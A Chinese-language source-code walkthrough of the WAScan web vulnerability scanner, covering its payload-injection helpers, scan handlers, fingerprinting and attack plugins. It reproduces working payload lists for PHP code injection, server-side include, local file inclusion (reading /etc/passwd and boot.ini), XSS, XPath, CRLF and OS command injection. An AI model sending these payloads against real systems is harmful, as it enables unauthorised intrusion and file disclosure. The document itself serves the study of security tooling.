定义了两个类,用于处理 请求参数payload 的关系,替换和拼接。替换的场景,比如任意文件读取, ?readfile=xx 可能替换成 ?readfile=/etc/passwd 。拼接的场景,比如SQL注入, ?id=1 ,可能拼接为 ?id=1' 或者 ?id=1" or 1=1

第一个类 preplace 替换,用于把 请求参数 的值替换为对应的 payload 。存疑一:get请求中用 sub(porignal,ppayload,self.url) 来处理,而post请求中用 self.data.replace(porignal,ppayload 请求。

class preplace:
	""" replace params with payload"""
	# 初始化
	def __init__(self,url,payload,data):
		# url
		self.url = url 
		# data 指 POST请求的 POST部分
		# 对于 GET 请求,data 为 None
		self.data = data
		# _params
		self._params = []
		# 对应的 payload
		self.payload = payload

	# 处理GET请求
	# http://test.com?a=1&b=2
	def get(self):
		"""get"""
		params = self.url.split("?")[1].split("&")
		# params = ['a=1', 'b=2']
		# 对 params 中的每一个参数
		for param in params:
			# 按照 = 切割,替换成payload 即 a=payload
			ppayload = param.replace(param.split("=")[1],self.payload)
			# 获取原本的参数对
			porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])

			# http://test.com?a=payload&b=2
			self._params.append(sub(porignal,ppayload,self.url))

	# 处理POST请求
	def post(self):
		"""post"""
		params = self.data.split("&")
		for param in params:
			ppayload = param.replace(param.split("=")[1],self.payload)
			porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])
			self._params.append(self.data.replace(porignal,ppayload))
	
	# 开始处理
	def run(self):
		# 如果 url中 带有 ? , 并且 data部分 为 None
		if "?" in self.url and self.data == None:
			# GET请求 处理
			self.get()
		# 如果 url中 没有 ? , 并且 data部分 不为 None
		elif "?" not in self.url and self.data != None:
			# POST请求 处理
			self.post()
		# 其他情况 无法明确判断
		else:
			# 都进行一遍处理
			self.get()
			self.post()
		return self._params

第二个类 padd ,用于往请求参数中添加payload。

class padd:
	""" add the payload to params """
	# 基本的初始化
	def __init__(self,url,payload,data):
		self.url = url 
		self.data = data
		self._params = []
		self.payload = payload

	# 处理GET请求
	# http://test.com?a=1&b=2
	def get(self):
		"""get"""
		params = self.url.split("?")[1].split("&")
		for param in params:
			# a=1payload
			ppayload = param.replace(param.split("=")[1],param.split('=')[1]+self.payload)
			porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])
			self._params.append(sub(porignal,ppayload,self.url))

	def post(self):
		"""post"""
		params = self.data.split("&")
		for param in params:
			ppayload = param.replace(param.split("=")[1],param.split('=')[1]+self.payload)
			porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])
			self._params.append(self.data.replace(porignal,ppayload))
	# 进行处理
	def run(self):
		if "?" in self.url and self.data == None:
			self.get()
		elif "?" not in self.url and self.data != None:
			self.post()
		else:
			self.get()
			self.post()
		return self._params

基本攻击payload: lib/utils/payload.py

整合了基本攻击的各种payload。对于每种攻击,返回list。结合前面 整体功能 -> 攻击 章节:

类型 对应函数payload
Bash 命令注入 bash()
SQL盲注 bsql()
溢出 None
CRLF crlfp()
头部SQL注入 None
头部XSS None
HTML注入 html()
LDAP注入 ldap()
本地文件包含 plfi()
执行操作系统命令 os()
php 代码注入 php()
SQL注入 sql()
服务器端注入 ssip() , pssi()
Xpath注入 xpath()
XSS pxss()
XML注入 xxep()

头部SQL注入溢出头部XSS 在该文件中对应的payload似乎没有出现。payload的具体内容就这里不展开,具体等后文与调用代码结合解释。

# Server Side Injection
# 有待研究
def ssip():
	""" Server Side Injection """
	省略

# CRLF
# CRLF字符对应 %0d %0a
def crlfp():
	"""Carriage Return Line Feed"""
	省略

# XXE
def xxep():
	""" XML External Entity"""
	省略

# SSI
def pssi():
	""" Server Side Include"""
	省略

# XSS
def pxss():
	""" Cross-Site Scripting"""
	省略
# php代码注入
def php():
	""" PHP Code Injection """
	省略

# xpath注入
def xpath():
	""" Xpath """
	省略

# bash注入
def bash():
	"""Basic Bash Command Injection """
	省略

# sql注入
def sql():
	"""Generic SQL"""
	省略

# os命令注入
def os():
	""" OS Command Injection """
	省略

# 本地文件包含
def plfi():
	""" Local file Inclusion """
	省略

# 盲注
def bsql():
	""" Blind SQL Injection """
	省略

# html注入
def html():
	""" HTML Code Injection """
	省略

# ldap注入
def ldap():
	""" LDAP Injection """
	省略

格式化打印: lib/utils/printer.py

定义了各种打印输出方法,基本的格式化字符串、颜色、编码等等。

def plus(string,flag="[+]"):
	print "{}{}{} {}{}{}".format(
		GREEN%(0),flag,RESET,
		WHITE%(0),ucode(string),RESET
		)

def less(string,flag="[-]"):

def warn(string,flag="[!]"):

def test(string,flag="[*]"):

def info(string,flag="[i]"):

def more(string,flag="|"):

def null():
	print ""

随机串生成: lib/utils/rand.py

定义两个函数。第一个是 r_time 基于当前时间 strftime('%y%m%d') 用来生成随机数字。

def r_time():
	""" random numbers """
	return randint(0,int(strftime('%y%m%d')))

第二个是 r_string ,用于生成指定长度为 n 的包含大写或者小写字母的随机字符串。

def r_string(n):
	""" random strings """
	return "".join([choice(uppercase+lowercase) for _ in xrange(0,int(n))])

文件读取操作:lib/utils/readfile.py

该文件定义了 readfile 函数,用于基本的文件读取操作。首先判断路径是否为空, !=None 或者 !="" 。利用列表生成器, line.strip() 在读取每一行后去除两边的空白符。:

def readfile(path):
	""" read file """
	if path != None or path != "":
		return [line.strip() for line in open(path,'rb')]
	return

基本设置:lib/utils/settings.py

# tool name 工具名称,即命令行运行时的第一个参数
NAME = argv[0]

# tool version 版本
VERSION = "v0.2.1"

# author 作者
AUTHOR = "Momo Outaadi (M4ll0k)"

# description 描述
DESCRIPTION = "Web Application Scanner"

# name + description + version
NVD = (NAME.split('.')[0]).title()+": "+DESCRIPTION+" - "+VERSION

# max threads 最大线程数量
MAX = 5

# args 命令行参数
CHAR = "u:s:H:d:m:h:R:a:A:c:p:P:t:n:v=:V=:r=:b=:"

# 与上面命令行参数对应的 完整参数名称


LIST_NAME = [
   省略
]

# argv
ARGV = argv
# dict args
ARGS = {
    'auth': None,
    'brute': None,
    'agent': ragent(),
    'proxy': None,
    'pauth': None,
    'cookie': None,
    'timeout': 5,
    'redirect': True,
    'headers': {},
    'data': None,
    'method': 'GET'
}

# time
TIME = strftime('%d/%m/%Y at %H:%M:%S')
TNOW = strftime('%H:%M:%S')


# print version
def Version():
    print "\n{}".format(NVD)
    print "Author: {}\n".format(AUTHOR)
    exit()


# print time and url
def PTIME(url):
    plus("URL: {}".format(url))
    plus("Starting: {}".format(TIME))
    null()

编码: lib/utils/unicode.py

统一转换成 utf-8 来处理

def ucode(string):
	if isinstance(string,unicode):
		return string.encode('utf-8')
	return string

帮助信息:lib/utils/usage.py

用来输出一些帮助信息,全程一行行 print ,简单粗暴。

class usage:
	""" docstring for usage """
	def banner(self):
		省略

	def basic(self,_exit_=True):
		省略

lib/handler 文件夹

这里定义了几种扫描处理模式。回到主文件 wascan.py 中,它真正开始扫描是后半部分代码,根据 kwargs['brute']scan 的值去选择不同的模式,比如若指定了 brute ,则会调用 BruteParams 模式,其余类似。这些模式都整合在 handler 目录下。

暴破:lib/handler/brute.py

第一种暴破指去爆破页面中的 隐藏参数

brute.py 对应代码如下:

def BruteParams(kwargs,url,data):
	params(kwargs,url,data).run()
	exit(0)

其中 params 类后文再详解。

主文件 wascan.py 的调用入口:

if kwargs['brute']:
	BruteParams(kwargs,url,kwargs['data']).run()

第二种爆破指后台爆破、路径爆破。

brute.py 对应代码如下:

path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/brute/')

def Brute(kwargs,url,data):
	# 获取 根路径
    url = CNQuery(url)
    info('Starting bruteforce module...')
	# dirs函数,获取指定path目录下的以py结尾的非 __ini__.py 的py文件
    for file in dirs(path):
        file = file.split('.py')[0]
        __import__('plugins.brute.%s'%(file))
		# 作为模块导入,开始爆破
        module = sys.modules['plugins.brute.%s'%(file)]
        module = module.__dict__[file]
        module(kwargs,url,data).run()

主文件 wascan.py 中两处入口:

if scan == 3:
	Brute(kwargs,url,kwargs['data'])
省略
if int(scan) == 5:
	省略
	Brute(kwargs,parse.netloc,kwargs['data'])

指纹:lib/handler/fingerprint.py

指纹识别模式。 fingerprint.py 代码中 Fingerprint 类如下:

class Fingerprint(Request):
	"""Fingerprint"""
	def __init__(self,kwargs,url):
		# 相关参数 初始化
		Request.__init__(self,kwargs)
		self.kwarg = kwargs
		self.url = url

	def run(self):
		info('Starting fingerprint target...')
		try:
			# -- request --
			# 首先发送HTTP GET请求
			req = self.Send(url=self.url,method="GET")
			# -- detect server --
			# 探测 服务器指纹
			# 一个站点往往对应一种服务器如apache
			# 根据头部返回的信息 server: xxx 来确定
			__server__ = server(self.kwarg,self.url).run()
			if __server__:
				# 若探测到,plus打印模式
				plus('Server: %s'%(__server__))
			# -- detect cms
			# 探测 cms框架指纹
			__cms__ = Cms(req.headers,req.content)
			# 同一个站点,可能同时使用多种cms。因此会返回多种结果
			for cms in __cms__:
				if cms != (None and ""):
					plus('CMS: %s'%(cms))
			# -- detect framework
			# 探测 web框架
			__framework__ = Framework(req.headers,req.content)
			for framework in __framework__:
				if framework != (None and ""):
					plus('Framework: %s'%(framework))
			# -- detect lang
			# 探测 编程语言
			__lang__ = Language(req.content)
			for lang in __lang__:
				if lang != (None and ""):
					plus('Language: %s'%(lang))
			# -- detect os
			# 探测 操作系统版本
			__os__ = Os(req.headers)
			for os in __os__:
				if os != (None and ""):
					plus('Operating System: %s'%os)
			# -- detect waf
			# 探测 waf种类
			__waf__ = Waf(req.headers,req.content)
			for waf in __waf__:
				if waf != (None and ""):
					plus('Web Application Firewall (WAF): %s'%waf)
			Headers(req.headers,req.content)
		except Exception as e:
			pass

在探测 server 时,由于 WAScan 直接采用了返回头部中的 server 字段,没有爆破处理。所以 server 函数实际存放在 plugins/fingerprint/server/server.py 。而其他类型的指纹,比如 cmsframeworkLanguageOsWaf 等,难以直接确定,需要多种脚本去尝试,所以这几种类型的指纹探测,都是在 fingerprint.py 中定义了一个入口函数,用来导入 plugins/fingerprint/ 目录下的相关探测模块。

g_path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/fingerprint/')

def Cms(headers,content):
	cms = []
	path = g_path+'cms/'
	for file in dirs(path):
		file = file.split('.py')[0]
		__import__('plugins.fingerprint.cms.%s'%(file))
		module = sys.modules['plugins.fingerprint.cms.%s'%(file)]
		module = module.__dict__[file]
		cms.append(module(headers,content))
	return cms

def Framework(headers,content):
	framework = []
	path = g_path+'framework/'
	for file in dirs(path):
		file = file.split('.py')[0]
		__import__('plugins.fingerprint.framework.%s'%(file))
		module = sys.modules['plugins.fingerprint.framework.%s'%(file)]
		module = module.__dict__[file]
		framework.append(module(headers,content))
	return framework

def Language(content):
	language = []
	path =  g_path+'language/'
	for file in dirs(path):
		file = file.split('.py')[0]
		__import__('plugins.fingerprint.language.%s'%(file))
		module = sys.modules['plugins.fingerprint.language.%s'%(file)]
		module = module.__dict__[file]
		language.append(module(content))
	return language

def Os(headers):
	operating_system = []
	path = g_path+'os/'
	for file in dirs(path):
		file = file.split('.py')[0]
		__import__('plugins.fingerprint.os.%s'%(file))
		module = sys.modules['plugins.fingerprint.os.%s'%(file)]
		module = module.__dict__[file]
		operating_system.append(module(headers))
	return operating_system

def Waf(headers,content):
	web_app_firewall = []
	path = g_path+'waf/'
	for file in dirs(path):
		file = file.split('.py')[0]
		__import__('plugins.fingerprint.waf.%s'%(file))
		module = sys.modules['plugins.fingerprint.waf.%s'%(file)]
		module = module.__dict__[file]
		web_app_firewall.append(module(headers,content))
	return web_app_firewall

在完成所有类型的探测后, wascan 在结尾调用了 Headers(req.headers,req.content) ,这个根据响应来确定一些信息,具体作用等讲解 plugins/fingerprint 时再详说。

def Headers(headers,content):
	if 'set-cookie' in headers.keys() or 'cookie' in headers.keys():
		cookies().__run__(headers['set-cookie'] or headers['cookie'])
	header().__run__(headers)

在主文件 wascan.py 中有两处入口,如下:

if scan == 0:
	Fingerprint(kwargs,url).run()
if int(scan) == 5:
	省略
	Fingerprint(kwargs,url).run()

攻击:lib/handler/attacks.py

导入各种攻击的模块,然后调用运行

path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/attacks/')

def Attacks(kwargs,url,data):
	info('Starting attacks module...')
	for file in dirs(path):
		file = file.split('.py')[0]
		__import__('plugins.attacks.%s'%(file))
		module = sys.modules['plugins.attacks.%s'%(file)]
		module = module.__dict__[file]
		module(kwargs,url,data).run()

主文件 wascan.py 中的入口:

if scan == 1:
	Attacks(kwargs,url,kwargs['data'])

审计:lib/handler/audit.py

载入各种审计的模块,然后调用运行。

path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/audit/')

def Audit(kwargs,url,data):
	url = CNQuery(url)
	info('Starting audit module...')
	for file in dirs(path):
		file = file.split('.py')[0]
		__import__('plugins.audit.%s'%(file))
		module = sys.modules['plugins.audit.%s'%(file)]
		module = module.__dict__[file]
		module(kwargs,url,data).run()

主文件 wascan.py 中的入口:

if scan == 2:
	Audit(kwargs,url,kwargs['data'])

信息搜集:lib/handler/disclosure.py

载入各种信息搜集的模块,然后调用运行。

path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/disclosure/')

class Disclosure(Request):
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url 

	def run(self):
		info('Starting disclosure module...')
		req = self.Send(url=self.url,method='GET')
		for file in dirs(path):
			file = file.split('.py')[0]
			__import__('plugins.disclosure.%s'%(file))
			module = sys.modules['plugins.disclosure.%s'%(file)]
			module = module.__dict__[file]
			if file == 'errors':module(req.content,req.url)
			else:module(req.content)

主文件 wascan.py 中的入口:

if scan == 4:
	Disclosure(kwargs,url,kwargs['data']).run()

爬虫:lib/handler/crawler.py

爬虫调用,在给定一个url后,在fullscan模式下会去爬去页面中所有的链接,然后进行检查。对应代码如下:

class Crawler:
    """ cralwer """
    def run(self, kwargs, url, data):
        info("Starting crawler...")
        links = []
        links.append(url)
        for link in links:
            for k in SCrawler(kwargs, url, data).run():
                if k not in links:
                    links.append(k)
        return links

links 保存所有的url,一开始就一个。然后通过调用 爬虫:lib/request/crawler.py 中的 SCrawler 爬虫,不断地往 links 中添加,然后不断爬取。

主文件的入口:

if int(scan) == 5:
	省略
	for u in Crawler().run(kwargs,url,kwargs['data']):

完整扫描: lib/handler/fullscan.py

实际代码如下:

def FullScan(kwargs,url,data):
	info('Starting full scan...')
	if '?' in url:
		Attacks(kwargs,url,data)
	Disclosure(kwargs,url,data)

主文件入口:

if int(scan) == 5:
	省略
	for u in Crawler().run(kwargs,url,kwargs['data']):
		省略
		if type(u[0]) is tuple:
			省略
			FullScan(kwargs,u[0],kwargs['data'])
		else:
			FullScan(kwargs,u,kwargs['data'])

所以综上, fullscan 模式的整体流程如下:

  1. Fingerprint()
  2. Crawler()
  3. FullScan()
    Attacks()
    Disclosure()
    
  4. Audit()
  5. Brute()

lib/db 文件夹

整合各种字典。先略过。

plugins/attacks

plugins/attacks/htmli.py

检查HTML代码注入。思路即:在参数值中添加进html代码,然后检查返回的响应,直接用 search(payload,req.content) 来看能否检测到相应的模式,。若存在则保存 URLDATAPAYLOAD ,然后输出。

class htmli(Request):
	""" Html Code Injection """
	get = "GET"
	post = "POST"
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url 
		self.data = data

	def run(self):
		""" Run """
		info('Checking HTML Injection...')
		URL = None
		DATA = None
		PAYLOAD = None
		# start
		for payload in html():
			# post method
			if self.data:
				# data add payload
				addPayload = padd(self.url,payload,self.data)
				for data in addPayload.run():
					# send request
					req = self.Send(url=self.url,method=self.post,data=data)
					# search payload in response content
					if search(payload,req.content):
						URL = req.url 
						DATA = data 
						PAYLOAD = payload
						break
			# get method
			else:
				# url and payload
				urls = padd(self.url,payload,None)
				for url in urls.run():
					# send request
					req = self.Send(url=url,method=self.get)
					# search payload in response content
					if search(payload,req.content):
						URL = url
						PAYLOAD = payload
						break
			# break if URL and PAYLOAD not empt
			if URL and PAYLOAD:
				# print
				if DATA != None:
					plus("A potential \"HTML Code Injection\" was found at:")
					more("URL: {}".format(URL))
					more("POST DATA: {}".format(DATA))
					more("PAYLOAD: {}".format(PAYLOAD))
				elif DATA == None:
					plus("A potential \"HTML Code Injection\" was found at:")
					more("URL: {}".format(URL))
					more("PAYLOAD: {}".format(PAYLOAD))
				# break
				break

plugins/attacks/phpi.py

检查 PHP 代码注入。采用的是 system("cat /etc/passwd") 类似的payload来检测在返回的响应中匹配的是 root: /bin/bash 字符串,或者通过 system("echo") 输出随机字符串来匹配。个人看法, system 在许多情况下都是被禁用的,因此通过 system 来检测成功率估计不高。另外 /etc/passwd 只存在UNIX系统上,win需要其他方式来检查。如果用 phpinfo() 可能会更好。

class phpi(Request):
	""" PHP Code Injection """
	get = "GET"
	post = "POST"
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url 
		self.data = data

	def run(self):
		""" Run """
		info('Checking PHP Code Injection...')
		URL = None
		DATA = None
		PAYLOAD = None
		for payload in php():
			# post method
			if self.data:
				# data add payload
				rPayload = preplace(self.url,payload,self.data)
				for data in rPayload.run():
					# split payload
					if "\"" in payload:
						payload = payload.split('"')[1]
					# send request
					req = self.Send(url=self.url,method=self.post,data=data)
					# search payload in req.content
					# payload采用的是 system("cat /etc/passwd")
					# 因此匹配的是 root: /bin/bash
					if search(r"root\:\/bin\/bash|"+payload,req.content):
						URL = req.url 
						DATA = data 
						PAYLOAD = payload
						break
			# get method
			else:
				# url query add payload
				urls = preplace(self.url,payload,None)
				for url in urls.run():
						# split payload
						if "\"" in payload:
							payload = payload.split('"')[1]
						# send request
						req = self.Send(url=url,method=self.get)
						# search payload in req.content
						if search(r"root\:\/bin\/bash|"+payload,req.content):
							URL = url
							PAYLOAD = payload
							break
				# if URL and PAYLOAD not empty
				if URL and PAYLOAD:
					# print
					if DATA != None:
						plus("A potential \"PHP Code Injection\" was found at:")
						more("URL: {}".format(URL))
						more("POST DATA: {}".format(DATA))
						more("PAYLOAD: {}".format(PAYLOAD))
					elif DATA == None:
						plus("A potential \"PHP Code Injection\" was found at:")
						more("URL: {}".format(URL))
						more("PAYLOAD: {}".format(PAYLOAD))
					# break
					break

对应的payload 在 lib/utils/payload.py:68 :

# php代码注入
def php():
	""" PHP Code Injection """
	payload = ["system('/bin/echo%20\""+r_string(30)+"\"')"]
	payload += ["system('/bin/cat%20/etc/passwd')"]
	payload += ["system('echo\""+r_string(30)+"\"')"]
	return payload

plugins/attacks/ssi.py

因为这个情况往往存在UNIX系统中,win一般不存在该漏洞。所以payload中只尝试读取 /etc/passwd ,然后检测响应。

class ssi(Request):
	""" Server Side Injection """
	get = "GET"
	post = "POST"
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url 
		self.data = data

	def run(self):
		""" Run """
		info('Checking Server Side Injection...')
		URL = None
		DATA = None
		PAYLOAD = None
		# start
		for payload in ssip():
			# post method
			if self.data:
				# data add payload
				addPayload = padd(self.url,payload,self.data)
				for data in addPayload.run():
					# send request
					req = self.Send(url=self.url,method=self.post,data=data)
					# search payload in response content
					if search(r'root:/bin/[bash|sh]',req.content):
						URL = req.url 
						DATA = data 
						PAYLOAD = payload
						break
			# get method
			else:
				# url and payload
				urls = padd(self.url,payload,None)
				for url in urls.run():
					# send request
					req = self.Send(url=url,method=self.get)
					# search payload in response content
					if search(r'root:/bin/[bash|sh]',req.content):
						URL = url
						PAYLOAD = payload
						break
			# break if URL and PAYLOAD not empty
			if URL and PAYLOAD:
				# print
				if DATA != None:
					plus("A potential \"Server Side Injection\" was found at:")
					more("URL: {}".format(URL))
					more("POST DATA: {}".format(DATA))
					more("PAYLOAD: {}".format(PAYLOAD))
				elif DATA == None:
					plus("A potential \"Server Side Injection\" was found at:")
					more("URL: {}".format(URL))
					more("PAYLOAD: {}".format(PAYLOAD))
				# break
				break

对应payload:

def ssip():
	""" Server Side Injection """
	payload  = ['<pre><!--#exec cmd="/etc/passwd" --></pre>']
	payload += ['<pre><!--#exec cmd="/bin/cat /etc/passwd" --></pre>']
	payload += ['<pre><!--#exec cmd="/bi*/ca? /et*/passw?" --></pre>']
	payload += ['<!--#exec cmd="/etc/passwd" -->']
	payload += ['<!--#exec cmd="/et*/pa??w?" -->']
	return payload

plugins/attacks/bufferoverflow.py

溢出bufferoverflow的payload没有在 lib/utils/payload.py 中出现,而是直接定义在了这里。几种可能的字符,然后三种可能的长度,发包检测响应。这里的 serror 需要匹配的模式(lib/db/errors/buffer.json)如下:

{
    "info":{
        "name":"BOF",
        "regexp":[
            "\*\*\* stack smashing detected \*\*\*:",
            "\<html\>\<head\>
\<title\>500 Internal Server Error\<\/title\>
",
            "Internal Server Error\<\/h1\>"
        ]
    }
}

bufferoverflow.py

class bufferoverflow(Request):
	""" Buffer Overflow """
	get = "GET"
	post = "POST"
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url 
		self.data = data

	def serror(self,resp):
		""" Return error """
		_ = None
		realpath = path.join(path.realpath(__file__).split('plugins')[0],'lib/db/errors')
		abspath = realpath+"/"+"buffer.json"
		_ = self.search(resp,json.loads(readfile(abspath)[0],encoding="utf-8"))
		if _ != None: return _

	def search(self,resp,content):
		""" Search error in response """
		for error in content['info']['regexp']:
			if search(error,resp):
				_ = content['info']['name']
				return _

	def run(self):
		""" Run """
		info('Checking Buffer OverFlow...')
		URL = None
		DATA = None
		PAYLOAD = None
		# potential char caused buffer overflow
		char = ["A","%00","%06x","0x0"]
		for payload in char:
			# payload * num
			for num in [10,100,200]:
				# post method
				if self.data:
					# replace params with payload
					rPayload = preplace(self.url,(payload*num),self.data)
					for data in rPayload.run():
						# send request
						req = self.Send(url=self.url,method=self.post,data=data)
						# search errors
						error = self.serror(req.content)
						if error:
							URL = req.url 
							DATA = self.data 
							PAYLOAD = "{} * {}".format(payload,num)
							break
				# get method
				else:
					urls = preplace(self.url,(payload*num),None)
					for url in urls.run():
						# send request
						req = self.Send(url=url,method=self.get)
						# search errors
						error = self.serror(req.content)
						if error:
							URL = url
							PAYLOAD = "{} * {}".format(payload,num)
							break 
				# break if URL and PAYLOAD not empty
				if URL and PAYLOAD:
					# print
					if DATA != None:
						plus("A potential \"Buffer Overflow\" was found at:")
						more("URL: {}".format(URL))
						more("POST DATA: {}".format(DATA))
						more("PAYLOAD: {}".format(PAYLOAD))
					elif DATA == None:
						plus("A potential \"Buffer Overflow\" was found at:")
						more("URL: {}".format(URL))
						more("PAYLOAD: {}".format(PAYLOAD))
					break

plugins/attacks/lfi.py

代码结构和 bufferoverflow.py 大致相同。

真正的payload 在 lib/utils/payload.py:137:

def plfi():
	""" Local file Inclusion """
	payload = ["/etc/passwd%00"]
	payload += ["/etc/passwd"]
	payload += ["etc/passwd"]
	payload += ["%00../../../../../../etc/passwd"]
	payload += ["%00../etc/passwd%00"]
	payload += ["/./././././././././././boot.ini"]
	payload += [r"/..\../..\../..\../..\../..\../..\../boot.ini"]
	payload += ["..//..//..//..//..//boot.ini"]
	payload += ["../../boot.ini"]
	payload += ["/../../../../../../../../../../../boot.ini%00"]
	payload += ["/../../../../../../../../../../../boot.ini%00.html"]
	payload += ["C:/boot.ini"]
	payload += ["/../../../../../../../../../../etc/passwd^^"]
	payload += [r"/..\../..\../..\../..\../..\../..\../etc/passwd"]
	payload += [r"..\..\..\..\..\..\..\..\..\..\etc\passwd%"]
	payload += ["../../../../../../../../../../../../localstart.asp"]
	payload += ["index.php"]
	payload += ["../index.php"]
	payload += ["index.asp"]
	payload += ["../index.asp"]
	return payload

用于匹配的模式 lib/db/errors/lfi.json:

{
    "info":{
        "name":"LFI",
        "regexp":[
            "root:/bin/bash",
            "root:/bin/sh",
            "java.io.FileNotFoundException:",
            "java.lang.Exception:",
            "java.lang.IllegalArgumentException:",
            "java.net.MalformedURLException:",
            "fread\(\):",
            "for inclusion \'\(include_path=",
            "Failed opening required",
            "\<b\>Warning\<\/b\>: file\(",
            "\<b\>Warning\<\/b\>: file_get_contents\(",
            "open_basedir restriction in effect",
            "Failed opening [\'\S*\'] for inclusion \(",
            "failed to open stream\:",
            "root\:\/root\:\/bin\/bash",
            "default=multi([0])disk([0])rdisk([0])partition([1])\WINDOWS"
        ]
    }
}

plugins/attacks/xss.py

代码结构与 htmli.py 类似。

对应payload 在 lib/utils/payload.py:51:

def pxss():
	""" Cross-Site Scripting"""
	payload =  [r"<script>alert('"+r_string(5)+"')</script>"]
	payload += [r"<script>alert('"+r_string(5)+r"');</script>"]
	payload += [r"\'\';!--\"<"+r_string(5)+r">=&{()}"]
	payload += [r"<script>a=/"+r_string(5)+r"/"]
	payload += [r"<body onload=alert('"+r_string(5)+r"')>"]
	payload += [r"<iframe src=javascript:alert('"+r_string(5)+r"')>"]
	payload += [r"<x onxxx=alert('"+r_string(5)+r"') 1='"]
	payload += [r"</script><svg onload=alert("+r_string(5)+r")>"]
	payload += [r"<svg onload=alert('"+r_string(5)+r"')>"]
	payload += [r"alert\`"+r_string(5)+r"\`"]
	payload += [r"><script>"+r_string(5)+""]
	payload += [r"\"><script>alert('"+r_string(5)+"');</script>"]
	payload += [r"< script > "+r_string(5)+" < / script>"]
	return payload

plugins/attacks/xpathi.py

代码结构与 bufferoverflow.py 类似。

payload 在 lib/utils/payload.py:75:

def xpath():
	""" Xpath """
	payload = ["\'"]
	payload += ["//*"]
	payload += ["@*"]
	payload += ["\' OR \'=\'"]
	payload += ["\' OR \'1\'=\'1\'"]
	payload += ["x\' or 1=1 or \'x\'=\'y"]
	payload += ["%s\' or 1=1 or \'%s\'=\'%s"%(r_string(10),r_string(10),r_string(10))]
	payload += ["x' or name()='username' or 'x'='y"]
	payload += ["%s\' or name()='username' or '%s'='%s"%(r_string(10),r_string(10),r_string(10))]
	payload += ["\' and count(/*)=1 and \'1\'=\'1"]
	payload += ["\' and count(/@*)=1 and \'1\'=\'1"]
	return payload

用于匹配的模式在 lib/db/errors/xpath.json:

{
    "info":{
        "name":"XPath",
        "regexp":[
            "::xpath()",
            "XPATH syntax error\:",
            "XPathException",
            "XPath\:",
            "XPath\(\)",
            "System.Xml.XPath.XPathException\:",
            "MS\.Internal\.Xml\.",
            "Unknown error in XPath",
            "org.apache.xpath.XPath",
            "A closing bracket expected in",
            "An operand in Union Expression does not produce a node-set",
            "Cannot convert expression to a number",
            "Document Axis does not allow any context Location Steps",
            "Empty Path Expression",
            "Empty Relative Location Path",
            "Empty Union Expression",
            "Expected \'\)\' in",
            "Expected node test or name specification after axis operator",
            "Incompatible XPath key",
            "Incorrect Variable Binding",
            "libxml2 library function failed",
            "xmlsec library function",
            "error \'80004005\'",
            "A document must contain exactly one root element\.",
            "Expected token \']\'",
            "\<p\>msxml4.dll\<\/font\>",
            "4005 Notes error: Query is not understandable"
        ]
    }
}

plugins/attacks/crlf.py

payload中注入的模式是 Set-Cookie:crlf=injection ,在进行检测时把 =injection 替换成随机字符串。然后在返回头的 Set-Cookie (若有)中检测注入的随机字符串。

class crlf(Request):
	""" Carriage Return Line Feed """
	get = "GET"
	post = "POST"
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url 
		self.data = data

	def run(self):
		""" Run """
		info('Checking CRLF Injection...')
		URL = None
		DATA = None
		PAYLOAD = None
		# start
		for payload in crlfp():
			random_string = r_string(20)
			payload = payload.replace('=injection',random_string)
			# check host
			req = self.Send(CPath(self.url,'/%s'%payload),method=self.get)
			if 'Set-Cookie' in req.headers.keys():
				if search(random_string,req.headers['Set-Cookie'],I):
					plus('A potential \"Carriage Return Line Feed\" was found at: ')
					more('URL: {}'.format(req.url))
					more('PAYLOAD: {}'.format(payload))
					break
			# post method
			if self.data:
				# data add payload
				addPayload = preplace(self.url,payload,self.data)
				for data in addPayload.run():
					# send request
					req = self.Send(url=self.url,method=self.post,data=data)
					# search payload in response content
					if 'Set-Cookie' in req.headers.keys():
						if search(random_string,req.headers['Set-Cookie'],I):
							URL = req.url 
							DATA = data 
							PAYLOAD = payload
							break
			# get method
			else:
				# url and payload
				urls = preplace(self.url,payload,None)
				for url in urls.run():
					# send request
					req = self.Send(url=url,method=self.get)
					# search payload in response content
					if 'Set-Cookie' in req.headers.keys():
						if search(random_string,req.headers['Set-Cookie'],I):
							URL = url
							PAYLOAD = payload
							break
			# break if URL and PAYLOAD not empty
			if URL and PAYLOAD:
				# print
				if DATA != None:
					plus("A potential \"Carriage Return Line Feed\" was found at:")
					more("URL: {}".format(URL))
					more("POST DATA: {}".format(DATA))
					more("PAYLOAD: {}".format(PAYLOAD))
				elif DATA == None:
					plus("A potential \"Carriage Return Line Feed\" was found at:")
					more("URL: {}".format(URL))
					more("PAYLOAD: {}".format(PAYLOAD))
				# break
				break

对应payload 在 lib/utils/payload.py:21:

def crlfp():
	"""Carriage Return Line Feed"""
	payload  = [r'%%0a0aSet-Cookie:crlf=injection']
	payload += [r'%0aSet-Cookie:crlf=injection']
	payload += [r'%0d%0aSet-Cookie:crlf=injection']
	payload += [r'%0dSet-Cookie:crlf=injection']
	payload += [r'%23%0d%0aSet-Cookie:crlf=injection']
	payload += [r'%25%30%61Set-Cookie:crlf=injection']
	payload += [r'%2e%2e%2f%0d%0aSet-Cookie:crlf=injection']
	payload += [r'%2f%2e%2e%0d%0aSet-Cookie:crlf=injection']
	return payload

plugins/attacks/oscommand.py

代码结构与 htmli.py 类似。根据payload,直接在响应中去匹配特殊字符 if search('{}'.format(payload.split('"')[1]),req.content):

对应payload在 lib/utils/payload.py:124

def os():
	""" OS Command Injection """
	payload = ["%secho \"%s\""%(quote_plus("&"),r_string(30))]
	payload += ["%secho \"%s\""%(quote_plus("&&"),r_string(30))]
	payload += ["%secho \"%s\""%(quote_plus("|"),r_string(30))]
	payload += ["%secho \"%s\""%(quote_plus(";"),r_string(30))]
